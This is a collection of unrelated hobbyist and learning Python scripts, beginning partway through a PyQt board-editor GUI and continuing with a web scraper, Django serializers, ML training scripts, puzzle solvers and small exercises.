        biggerImage = np.zeros(shape=(self.listOfSizes[self.currentSize], self.listOfSizes[self.currentSize]), dtype=np.uint8)
        biggerImage[:self.game.BOARD.shape[0],:self.game.BOARD.shape[1]] = self.game.BOARD
        self.game.BOARD = biggerImage

    def diminishImage(self):
        smallerImage = self.game.BOARD[:self.listOfSizes[self.currentSize], :self.listOfSizes[self.currentSize]]
        self.game.BOARD = smallerImage

    def resetSize(self):
        if self.game.BOARD.shape[0] in self.listOfSizes:
            self.currentSize = self.listOfSizes.index(self.game.BOARD.shape[0])
        else:
            raise ValueError("The initial BOARD has an unrecognized grid size. Size should be one of those values : [10, 20, 50, 100, 200]")

    def checkAllowedSizes(self):
        if self.currentSize == len(self.listOfSizes) - 1:
            self.IncreaseSizeBtn.setEnabled(False)
            self.IncreaseSizeBtn.setStyleSheet("background-color: rgba(200,200,200,250); color: rgba(150,150,150,250); font-size: 12px; font: bold")
        else:
            self.IncreaseSizeBtn.setEnabled(True)
            self.IncreaseSizeBtn.setStyleSheet("background-color: gray; color: black; font-size: 12px; font: bold")

        if self.currentSize == 0:
            self.DecreaseSizeBtn.setEnabled(False)
            self.DecreaseSizeBtn.setStyleSheet("background-color: rgba(200,200,200,250); color: rgba(150,150,150,250); font-size: 12px; font: bold")
        else:
            self.DecreaseSizeBtn.setEnabled(True)
            self.DecreaseSizeBtn.setStyleSheet("background-color: gray; color: black; font-size: 12px; font: bold")

    def save(self):
        # Shows a dialogue pop-up box to choose whether to overwrite or save as new BOARD
        message = 'Do you want to save with a new name or overwrite "The {0}"'.format(self.initialBOARDs[self.currentInitialBOARD])
        box = box = QtGui.QMessageBox()
        box.setIcon(QtGui.QMessageBox.Question)
        box.setWindowTitle('WAIT')
        box.setText(message)
        box.setStandardButtons(QtGui.QMessageBox.Yes|QtGui.QMessageBox.Cancel|QtGui.QMessageBox.Apply)
        OverwriteBtn = box.button(QtGui.QMessageBox.Apply)
        OverwriteBtn.setText('Overwrite')
        NewNameBtn = box.button(QtGui.QMessageBox.Yes)
        NewNameBtn.setText('New name')
        CancelBtn = box.button(QtGui.QMessageBox.Cancel)
        box.exec_()

        if box.clickedButton() == OverwriteBtn:
            # Overwrites the .npy file with current self.game.BOARD
            np.save(os.path.join("InitialBOARDs", self.initialBOARDs[self.currentInitialBOARD]), self.game.BOARD)

        elif box.clickedButton() == NewNameBtn:
            # Shows a dialogue pop-up box to enter a name for the newly created initialBOARD
            text, ok = QtWidgets.QInputDialog.getText(self, 'Final Step', 'Name (no spaces) :')
            if ok:
                np.save(os.path.join("InitialBOARDs", text.replace(" ", "")), self.game.BOARD)
                self.initialBOARDs = self.readinitialBOARDsFiles()
                self.currentInitialBOARD = self.initialBOARDs.index(text.replace(" ", "") + ".npy")
                self.loadInitialBOARD()

    def delete(self):
        # Shows a pop-up asking for confirmation
        message = 'Are you sure you want to delete initial BOARD "The {0}"?'.format(self.initialBOARDs[self.currentInitialBOARD].split('.')[0])
        reply = QtGui.QMessageBox.question(self, 'WAIT', message, QtGui.QMessageBox.Yes, QtGui.QMessageBox.No)
        if reply == QtGui.QMessageBox.Yes:
            os.remove(os.path.join("InitialBOARDs", self.initialBOARDs[self.currentInitialBOARD]))
            self.initialBOARDs = self.readinitialBOARDsFiles()
            if self.currentInitialBOARD > 0:
                self.currentInitialBOARD -= 1
            else:
                self.currentInitialBOARD = 0
            self.loadInitialBOARD()
        return

    def createNew(self):
        self.pause()
        self.game.BOARD = np.zeros(shape=(self.listOfSizes[self.currentSize], self.listOfSizes[self.currentSize]), dtype=np.uint8)
        self.updatePlot()
        self.Plot.setTitle(title="NEW BOARD (still unamed)")
        return

# If we run the file directly
if __name__ == '__main__':
    global app
    app = QtWidgets.QApplication(sys.argv)  # Every PyQt application must create an application object
    gui = GuiManager()                      # Create an object "GuiManager"
    sys.exit(app.exec_())                   # Enter the main loop of the application


import re  # expressões regulares
import requests  # permitirá enviar solicitações http
from bs4 import BeautifulSoup  # extrai dados de arquivos html e xml
from configparser import ConfigParser  # para manipulação de arquivos INI

# Adicionei manualmente uma chave ('dados') dentro do arquivo .ini para que o interpretador localizar as informações

# Aqui ele usa o ConfigParser para leitura do arquivo solicitado
config = ConfigParser()
config.read('desafio.ini')

# Captura a informação na seção (criada) 'dados' e chave 'url', 'inicio', 'fim'
url = (config.get('dados', 'url'))
inicio = (config.get('dados', 'inicio'))
fim = (config.get('dados', 'fim'))

# Concatena a url com o nome do candidato
if '=' in url:
    new_url = url + 'alison'
    url = new_url

# Conteúdo da página do URL do site
page = requests.get(url)

# Função para remover as tags
def remove_tags(html):
    # analisa o conteúdo html
    soup = BeautifulSoup(html, "html.parser")  # cria um objeto chamado soup que está interpretando o documento HTML

    for data in soup(['script']):
        # Remove tags
        data.decompose()

    # Retorna dados removendo as tags e recuperando o conteúdo
    return ' '.join(soup.stripped_strings)

# Imprime os dados extraídos sem tags
# usa a função 'remove_tags' para remover as tags
sem_tags = remove_tags(page.content)

# localiza todas as palavras que iniciam com o valor de "inicio" (con)
start = re.findall(r'\b' + inicio + '\w+', sem_tags, flags=re.I)

print("HTML TRATADO: ")
print(sem_tags)

palavras = []  # lista para receber as palavras buscadas

# localiza todas as palavras terminam com o conteúdo de 'fim' (e)
for i in start:  # separa o conteúdo em uma lista para realizar a busca
    if i.endswith(fim):  # condição de busca do conteúdo das variáveis "fim"
        palavras.append(i)

print(f'\nLISTA DE PALAVRAS: {palavras}')  # imprime a lista das palavras encontradas
print(f'A LISTA CONTÉM: {len(palavras)} PALAVRAS')  # imprime a quantidade de letras encontradas


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""Set process name and cpu priority,return socket.socket or None."""

import logging as log
import socket
import sys

def set_single_instance(name, port=8888):
    """Set process name and cpu priority,return socket.socket or None."""
    try:  # Single instance app ~crossplatform, uses udp socket.
        log.info("Creating Abstract UDP Socket Lock for Single Instance.")
        __lock = socket.socket(
            socket.AF_UNIX if sys.platform.startswith("linux")
            else socket.AF_INET, socket.SOCK_STREAM)
        __lock.bind(
            "\0_{name}__lock".format(name=str(name).lower().strip())
            if sys.platform.startswith("linux") else ("127.0.0.1", port))
    except (socket.error, OSError, Exception) as e:
        __lock = None
        log.critical("Another instance of App is already running!, Exiting!.")
        log.exception(e)
        sys.exit()
        exit()
    else:
        log.info("Socket Lock for Single Instance: {}.".format(__lock))
    finally:
        return __lock


from rest_framework import serializers
from testapp.models import Employee

def multiples_of_1000(value):
    if value %100 !=0:
        raise serializers.ValidationError('Salary should be multiple of 1000')
class EmployeeSerializer(serializers.Serializer): #normal serializer
    eno = serializers.IntegerField()
    ename = serializers.CharField(max_length=64)
    esal = serializers.FloatField(validators=[multiples_of_1000,])
    eaddr = serializers.CharField(max_length=64)

    '''field level validation'''
    def validate_esal(self,value):
        if value<5000:
            raise serializers.ValidationError('Employee salary should be minimum 5000')
        return value

    '''object level validation'''
    def validate(self,data):
        ename=data.get('ename')
        esal=data.get('esal')
        if ename.lower()=='rucha':
            if esal<50000:
                raise serializers.ValidationError('Rucha salary should be 50000')
        return data
    '''create a data post()'''
    def create(self,validated_data):
        return Employee.objects.create(**validated_data)

    def update(self,instance,validated_data):
        instance.eno=validated_data.get('eno',instance.eno)
        instance.ename=validated_data.get('ename',instance.ename)
        instance.esal=validated_data.get('esal',instance.esal)
        instance.eaddr=validated_data.get('eaddr',instance.eaddr)
        instance.save()
        return instance


#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys

CWD = os.path.dirname(os.path.abspath(__file__))
sys.path.append(os.path.join(CWD, '..'))
import pandas as pd
from mgktools.data import Dataset
from mgktools.kernels.utils import get_kernel_config
from mgktools.evaluators.cross_validation import Evaluator
from chemml.args import TrainArgs
from chemml.model import set_model

def main(args: TrainArgs) -> None:
    dataset = Dataset.load(path=args.save_dir)
    dataset.graph_kernel_type = args.graph_kernel_type
    kernel_config = get_kernel_config(dataset=dataset,
                                      graph_kernel_type=args.graph_kernel_type,
                                      features_kernel_type=args.features_kernel_type,
                                      features_hyperparameters=args.features_hyperparameters,
                                      features_hyperparameters_bounds=args.features_hyperparameters_bounds,
                                      features_hyperparameters_file=args.features_hyperparameters_file,
                                      mgk_hyperparameters_files=args.graph_hyperparameters,
                                      kernel_pkl=os.path.join(args.save_dir, 'kernel.pkl'))
    model = set_model(args, kernel=kernel_config.kernel)
    if args.separate_test_path is not None:
        df = pd.read_csv(args.separate_test_path)
        if args.target_columns is None:
            df['null_target'] = 0.
        dataset_test = Dataset.from_df(df=df,
                                       pure_columns=args.pure_columns,
                                       mixture_columns=args.mixture_columns,
                                       reaction_columns=args.reaction_columns,
                                       feature_columns=args.feature_columns,
                                       target_columns=args.target_columns or ['null_target'],
                                       features_generator=args.features_generator,
                                       features_combination=args.features_combination,
                                       mixture_type=args.mixture_type,
                                       reaction_type=args.reaction_type,
                                       group_reading=args.group_reading,
                                       n_jobs=args.n_jobs)
        dataset_test.graph_kernel_type = args.graph_kernel_type
        dataset.unify_datatype(dataset_test.X_graph)
    else:
        dataset_test = None
    evaluator = Evaluator(save_dir=args.save_dir,
                          dataset=dataset,
                          model=model,
                          task_type=args.task_type,
                          metrics=args.metrics,
                          split_type=args.split_type,
                          split_sizes=args.split_sizes,
                          num_folds=args.num_folds,
                          return_std=True if args.model_type == 'gpr' else False,
                          return_proba=True if args.task_type == 'binary' else False,
                          evaluate_train=False,
                          n_similar=None,
                          kernel=None,
                          n_core=args.n_core,
                          atomic_attribution=args.atomic_attribution,
                          seed=args.seed,
                          verbose=True)

    if args.separate_test_path is not None and args.target_columns is None:
        evaluator.fit(X=dataset.X, y=dataset.y)
        evaluator.predict(X=dataset_test.X, y=None, repr=dataset_test.repr.ravel()).to_csv(
            '%s/pred_ext.csv' % args.save_dir, sep='\t', index=False, float_format='%15.10f')
        if args.atomic_attribution:
            evaluator.interpret(dataset_test=dataset_test, output_tag='ext')
    else:
        evaluator.evaluate(external_test_dataset=dataset_test)

if __name__ == '__main__':
    main(args=TrainArgs().parse_args())


import re

def is_valid_value(fields, value):
    for _, v in fields.items():
        if v[0][0] <= value <= v[0][1] or v[1][0] <= value <= v[1][1]:
            return True

    return False

def first(s):
    return [*s][0]

with open("input.txt") as f:
    phase = 0
    error_rate = 0
    ticket = 0
    invalid_tickets = set()
    fields = {}
    searched_for_fields = {}
    valid_tickets = []
    my_ticket = []
    for line in f:
        if phase == 0:
            matches = re.match(
                "([a-z ]*): ([0-9]*)-([0-9]*) or ([0-9]*)-([0-9]*)", line
            )
            if matches is None:
                phase += 1
                continue

            (
                field,
                first_range_start,
                first_range_end,
                second_range_start,
                second_range_end,
            ) = matches.groups()

            fields[field] = (
                (int(first_range_start), int(first_range_end)),
                (int(second_range_start), int(second_range_end)),
            )
        elif phase == 1:
            matches = re.match("your ticket:", line)
            phase += 1
            continue
        elif phase == 2:
            my_ticket = [int(n) for n in line.split(",")]
            phase += 1
            continue
        elif phase == 3:
            phase += 1
            continue
        elif phase == 4:
            matches = re.match("nearby tickets:", line)
            phase += 1
            continue
        elif phase == 5:
            numbers = [int(n) for n in line.split(",")]
            is_valid = True
            for n in numbers:
                result = is_valid_value(fields, n)
                if not result:
                    error_rate += n
                    invalid_tickets.add(ticket)
                    is_valid = False
                    break
            if is_valid:
                valid_tickets.append(numbers)

            ticket += 1

    print(error_rate)

    possible_indices = {}
    with_one_option = []
    for k, v in fields.items():
        possible_indices[k] = set()
        counts = [0] * len(valid_tickets[0])
        for valid_ticket in valid_tickets:
            for i, n in enumerate(valid_ticket):
                if v[0][0] <= n <= v[0][1] or v[1][0] <= n <= v[1][1]:
                    counts[i] += 1

        for i, c in enumerate(counts):
            if c == len(valid_tickets):
                possible_indices[k].add(i)

        if len(possible_indices[k]) == 1:
            with_one_option.append((k, first(possible_indices[k])))
            possible_indices.pop(k)

    result = {}
    while len(with_one_option) != 0:
        current = with_one_option.pop()
        for k, v in possible_indices.items():
            if current[1] in possible_indices[k]:
                possible_indices[k].remove(current[1])
            if len(possible_indices[k]) == 1:
                with_one_option.append((k, first(possible_indices[k])))
                result[k] = [*possible_indices[k]][0]

    product = 1
    for k, v in result.items():
        if k.startswith("departure"):
            product *= my_ticket[v]

    print(product)


import concurrent.futures as cf
from time import sleep

# a function to multiply 100 numbers. For which operation it needs 0.05
# compare calculation time of multiprocessing map with normal map

def is_prime(x):
    if x >= 2:
        for n in range(2, x):
            if (x % n) == 0:
                return False
        return True
    else:
        return False

if __name__ == '__main__':
    with cf.ThreadPoolExecutor() as executor:
        futures = executor.map(is_prime, list(range(2, 100)))

    for i in futures:
        print(i)


# -*- coding: utf8 -*-
import turtle
window = turtle.Screen()
window.bgcolor("lightgreen")
john = turtle.Turtle()
john.color("blue")

size = 72*2
for i in range(5):
        john.forward(150)       # 往前走
        john.right(size)           # 向右轉

window.exitonclick()


## a simple script for building the bert weight example.
from data_utils import *
from simpletransformers.classification import ClassificationModel
from sklearn import preprocessing
import pandas as pd

def read_dataset(data_folder,task = "bbc"):

    data_processor = data_processors[task]()
    folder_name = dataset_folders[task]
    data_name = "{}/{}".format(data_folder, folder_name)

    train_examples = data_processor.get_train_examples(data_name)
    dev_examples = data_processor.get_dev_examples(data_name)
    test_examples = data_processor.get_test_examples(data_name)

    train_sequences = train_examples['text_a']
    dev_sequences = dev_examples['text_a']

    ## encode labels first.
    le = preprocessing.LabelEncoder()
    train_targets = train_examples['label']
    dev_targets = dev_examples['label']
    le.fit(train_targets)

    train_targets = le.transform(train_targets)
    dev_targets = le.transform(dev_targets)

    return train_sequences, dev_sequences, train_targets, dev_targets

def get_bert_base(train_sequences, dev_sequences, train_targets, dev_targets, time_constraint = 1, num_cpu = 1, max_features = 1000, model = "bert-base",weights_dir = "transformers_trained",cuda = False):

    'text' 'labels'
    total_sequences_training = train_sequences.values.tolist() + dev_sequences.values.tolist()

    total_labels_training = train_targets.tolist() + dev_targets.tolist()

    train_df = pd.DataFrame()
    train_df['text'] = total_sequences_training
    train_df['labels'] = total_labels_training

    # Create a ClassificationModel
    if model == "bert-base":
        model = ClassificationModel('bert', 'bert-base-cased', num_labels=len(set(total_labels_training)), args={'reprocess_input_data': True, 'overwrite_output_dir': True,"output_hidden_states":True}, use_cuda = cuda)

    elif model == "roberta-base":
        model = ClassificationModel('roberta', 'roberta-base', num_labels=len(set(total_labels_training)), args={'output_hidden_states':True,'reprocess_input_data': True, 'overwrite_output_dir': True}, use_cuda = cuda)

    model.args['num_train_epochs'] = 1
    model.args['max_sequence_length'] = 256
    model.args['save_eval_checkpoints'] = False
    model.args['save_model_every_epoch'] = False
    model.args['output_dir'] = weights_dir
    model.args['save_steps'] = 400

    # Train the model
    model.train_model(train_df)
    return model

if __name__ == "__main__":

    train_seq, dev_seq, train_tar, dev_tar = read_dataset("data","bbc")
    bert_model = get_bert_base(train_seq, dev_seq, train_tar, dev_tar)

    ## do something with the model.


from stats.models import StatLine, CustomStat, CustomMetric
from stats.interpreter import interpreter
from django.db import transaction

def get_custom_metric(username, label, metric_string):
    """
    [get_custom_metric] returns a CustomMetric object with fields
        equal to username and metric_string. If there is currently
        a metric with the same values, it will delete it and create
        a new one to return.
    [username]: string
    [label]: string
    [metric_string]: string
    Returns: CustomMetric object
    """
    metric_queryset = CustomMetric.objects.filter(
        username__exact = username
    ).filter(
        label__exact = label
    )

    if len(metric_queryset) > 0:
        metric = metric_queryset.get(username = username)
        metric.customstat_set.all().delete()
        metric.delete()

    # If there is no current metric with the given values
    metric = CustomMetric(username = username, label = label, string = metric_string)
    metric.save()

    return metric

@transaction.atomic
def assign_values(metric, objects):
    """
    [assign_values] takes in a metric object and a queryset of StatLine
        objects and creates a CustomStat for each statline in the queryset.
    [metric]: CustomMetric object
    [objects]: StatLine queryset
    Returns: None
    """
    delete_metric_stats(metric)
    metric_string = metric.string

    # statline_to_value is a function that optimizes for repeated
    # calculation of aggregate functions
    # Takes in a statline and returns a float or error
    statline_to_value = interpreter(metric_string, objects)

    stats = [
        CustomStat(
            player = statline,
            value = statline_to_value(statline),
            metric = metric
            ) for statline in objects
        ]

    # If there was an error, return it
    # otherwise, create the stats and return the empty string
    if len(stats) > 0 and type(stats[0].value) == type(""):
            return stats[0].value
    else:
        CustomStat.objects.bulk_create(stats)
        return ""

def delete_metric_stats(metric):
    """
    [delete_metric_stats] is used to delete all CustomStat objects associate
        with the given metric. This is to be called right before assigning
        new objects to the metric so that all old objects are cleared.
    [metric]: CustomMetric object
    Returns: None
    """
    for stat in metric.customstat_set.all():
        stat.delete()


def solution(priorities, location):
    arr = [i for i in range(len(priorities))]
    answer = ans = 0
    while len(priorities):
        start = priorities.pop(0)
        arr_start = arr.pop(0)
        for i in priorities:
            if i > start:
                priorities.append(start)
                start = 0
                arr.append(arr_start)
                break
            else:
                continue
        if start != 0:
            ans += 1
        if arr_start == location:
            answer = ans
    return answer

# priorities = [2, 1, 3, 2]
# location = 2
priorities = [1, 1, 9, 1, 1, 1]
location = 0
num = solution(priorities, location)
print(num)


# Programa que calcula a distância da traseira de um carro para outro.
# caso o carro precise acelerar, resultado: 1
# caso o carro precise desacelarar, resultado: -1
# caso o carro precise manter a velocidade, resultado: 0

traseira_A = int(input())
traseira_B = int(input())
traseira_C = int(input())

if(traseira_B-traseira_A < traseira_C-traseira_B):
    print("1")
elif(traseira_B-traseira_A > traseira_C-traseira_B):
    print("-1")
else:
    print("0")


import os
import pathlib
from sklearn.model_selection import train_test_split

import pandas as pd
import numpy as np

import utils
from accuracy import Accuracy_Categorical
from model import Model
from layers import Dense
from optimizers import SGD, Optimizer_Adam
from regularizarions import RegL1
from trainCallback import EarlyStopping

def convertOneShot(x_input):
    l = []
    for x in x_input:
        b = np.zeros((x.size, 4))
        b[np.arange(6), x - 1] = 1
        b = np.reshape(b, 24)
        l.append(b)
    l = np.array(l)
    dropped = np.delete(l, [3, 7,10,11,15,22,23], 1)
    return dropped

# configuration ########################################################
DATASET_PATH = "classificazione/monks-3.csv"
# ######################################################################

dataset = pd.read_csv(DATASET_PATH)

X_train = dataset.drop(["output"], axis=1)
y_train = dataset.drop(["input1", "input2", "input3", "input4", "input5", "input6"], axis=1)

X_values = np.array(X_train.values.tolist())
y = np.array(y_train.values.tolist())

X = convertOneShot(X_values)

X_train, X_val, y_train, y_val = train_test_split(X, y,test_size=0.3,random_state=3)
X_val, X_test, y_val, y_test = utils.straified_split(X_val, y_val, y_idx=0, test_size=0.2)

model = Model()
model.add(Dense(8, activationFunName="tanh"))
model.add(Dense(1, activationFunName="sigmoid"))

accuracy = Accuracy_Categorical()
earlystopping = EarlyStopping(patience=500, monitor="val_data_loss")
# model.compile(lossname="bce", optimizer=SGD(learning_rate=0.002, decay=0.0, momentum=0.0), accuracy= accuracy)
model.compile(lossname="bce", optimizer=Optimizer_Adam(learning_rate=0.0005, decay=0.00001), accuracy=accuracy)

model.train(X_train, y_train, epochs=10000, batch_size=16, log_every=500, X_val=X_val, y_val=y_val, callbacks=[earlystopping])

utils.printLossHistory(model,0,1)
utils.printAccuracyHistory(model)

res_test = model.model_assessment(X_test, y_test)
print("--------------------------------------")
print("TEST dataset results")
print(res_test)


# Programa que calcula a quantidade de moedas que o Capitão Olho Roxo deverá receber

num_moedas_arca = int(input())
num_marinheiros = int(input())

total_tripulantes = num_marinheiros + 2 # o Capitão conta como dois tripulantes
moedas_marinheiros = num_moedas_arca / total_tripulantes # calculo de quantas moedas cada marinheiro
# irá receber
moedas_capitao = moedas_marinheiros * 2 # o Capitão recebe o dobro de moedas
print("{:.0f}".format(moedas_capitao))